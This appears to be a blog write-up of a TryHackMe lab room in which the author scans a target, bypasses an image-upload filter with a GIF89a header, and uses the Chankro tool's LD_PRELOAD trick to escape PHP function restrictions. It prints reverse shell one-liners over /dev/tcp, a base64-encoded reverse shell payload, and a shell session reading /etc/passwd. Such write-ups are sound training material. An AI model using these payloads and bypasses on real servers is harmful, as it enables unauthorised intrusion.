💭 Thoughts after doing the room

This was a really interesting room. It showed that there are other ways to access a machine when our default reverse shells don’t work. It was interesting that you could execute any shell script by changing the ENV variable and loading the binary.

I made my first mistake by using the wrong reverse shell one liner. The second mistake was using the full upload path with Chankro. I think the following line in the room description is a little bit misleading:

It is necessary to specify the absolute path where our uploaded PHP file is located. For example, if our file is located in the uploads folder DOCUMENTROOT + uploads. Source: THM

For me that meant that I have to specify the full path where the php file is uploaded to. Of course there is also the possibility that I oversaw something and it makes sense.

Task 1: Introduction

I read the text. More information about this in the next task.

Task 2: Reasy Set Go

First I do a fast default port scan with nmap

root@ip-10-10-10-73:~# IP=
root@ip-10-10-10-73:~# nmap -T4 $IP

Starting Nmap 7.60 ( ) at 2023-04-11 19:00 BST
Nmap scan report for (
Host is up (0.0029s latency).
Not shown: 998 closed ports
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:68:D7:8A:77:25 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds

The webserver seems to be a job portal

There is an “Apply Job” link where you should send a link as image format. I try to upload a random image.

This seems to work. I then bruteforce the page for common directories

root@ip-10-10-10-73:~/bypass/Chankro# gobuster dir --url http://$IP -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2023/04/11 19:13:12 Starting gobuster
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
/phpinfo.php (Status: 200)
/uploads (Status: 301)
2023/04/11 19:13:12 Finished

The phpinfo.php already looks interesting, but I just want to confirm tha my test image is visible in the uploads directory. Yep, I can see it

Before exploring if it’s possible to upload a reverse shell I’m re-reading step 1. This room wants us to use a specific exploit. So let’s do it.

I clone the repo

root@ip-10-10-10-73:~/bypass# git clone
Cloning into 'Chankro'...
remote: Enumerating objects: 59, done.
remote: Total 59 (delta 0), reused 0 (delta 0), pack-reused 59
Unpacking objects: 100% (59/59), done.

When trying out the help command it looks like it only works with python2.

I read the “How it works” part from the github readme:

PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we have putenv() allowed, we can set the environment variable “LD_PRELOAD”, so we can preload an arbitrary shared object. Our shared object will execute our custom payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example. Source: github

So we need a binary or a bash script. I decide for the common bash reverse shell and create a

sh -i >& /dev/tcp/ 0>&1

Earlier we saw that we have access to the phpinfo.php and I skim the page for information.

From Task 1 we got the description of the --path argument

It is necessary to specify the absolute path where our uploaded PHP file is located. For example, if our file is located in the uploads folder DOCUMENTROOT + uploads. Source: THM

The DOCUMENT_ROOT in my case is /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db and my upload directory is upload, if I understand the text correctly I have to concatonate both to have the right path.

But I’m not 100% certain, in task 1 there is this information

Through Chankro, we generate a PHP script that will act as a dropper, creating on the server a .so library and the binary (a meterpreter, for example) or bash script (reverse shell, for example) that we want to execute freely, and that will later call putenv() and mail() to launch the process. Source: THM

By modifying the LD_PRELOAD env variable we want to pre-load a .so library. Where is this this .so file stored? Also in the upload directory then?

Anyways, let’s continue and try it with the `upload´ path first.

root@ip-10-10-10-73:~/bypass/Chankro# python2 -h
usage: [-h] [--arch ARCH] [--input METER] [--output OUT]
                  [--path PATI]

Generate PHP backdoor

optional arguments:
  -h, --help     show this help message and exit
  --arch ARCH    Architecture (32 or 64)
  --input METER  Binary to be executed (p.e. meterpreter)
  --output OUT   PHP filename
  --path PATI    Absolute path
root@ip-10-10-10-73:~/bypass/Chankro# python2 --arch 64 --input --output b27.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/upload

     -=[ Chankro ]=-
    -={ @TheXC3LL }=-

[+] Binary file:
[+] Architecture: x64
[+] Final PHP: b27.php

[+] File created!

I’ll check what’s in the file. After a cryptic $hook which is probably the binary we have this

$meterpreter = 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuNzMvMTMzNyAwPiYxCg==';
file_put_contents('/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/upload/', base64_decode($hook));
file_put_contents('/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/upload/acpid.socket', base64_decode($meterpreter));

okay, $meterpreter is the base64 encoded reverse shell I provided and I can see that the script will try to drop the file file in the uploads folder. Let’s see if this was the right choice.

I try the upload form and it doesn’t accept my php script, so let’s see what’s happening with BurpSuite

After enabling the proxy I start the upload process and send it to Repeater.

I send it “as is” and check the response

Upload a real image is what it says. So there must be a mechanism that detects that we’re uploading something different.

We need a file upload bypass and one common one is a GIF89a header. The technical background is that gifs usually have this header. If I download a random gif from and check the head of the file it looks like this.

So we just try to add this to our php file. We can do this in the repeater.

and then send it modified.

we get the


in the respone. I could have also edited the file like this…

…if I didn’t want to use Burpsuite Repeater.

Back in Firefox I can see that the file was uploaded sucessfully.

I start the reverse listener and try to execute the php file. Nothing happens. I’m beginning to suspect that my previous upload path assumption was wrong. But even after I removed the upload folder from my path I won’t get a shell. 🤬

Turns out I used the wrong reverse shell command. 😶‍🌫️ Let’s use this one.

bash -c 'bash -i >& /dev/tcp/ 0>&1'

I use Chankro to re-generate with the new reverse shell and add the GIF89a header. It works. Yay.

root@ip-10-10-10-73:~/bypass# nc -nvlp 1337
Listening on [] (family 0, port 1337)
Connection from 40398 received!
bash: cannot set terminal process group (741): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ whoami
<ml/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ whoami                         
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ cd ..
cd ..
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db$ ls
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db$ cat /etc/passwd
<ml/fa5fba5f5a39d27d8bb7fe5f518e00db$ cat /etc/passwd                        
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db$ cd /home/s4vi 
cd /home/s4vi
www-data@ubuntu:/home/s4vi$ ls
www-data@ubuntu:/home/s4vi$ cat flag.txt
cat flag.txt

I don’t find any interesting files in the entry directory so I check /etc/passwd for users.

There is a user with UID 1000 that has the required flag in the home directory.

Although this is solved now I’m curious if it would have worked with the upload path I tried first. I re-spawned a fresh target VM and confirmed that it only works with the base path.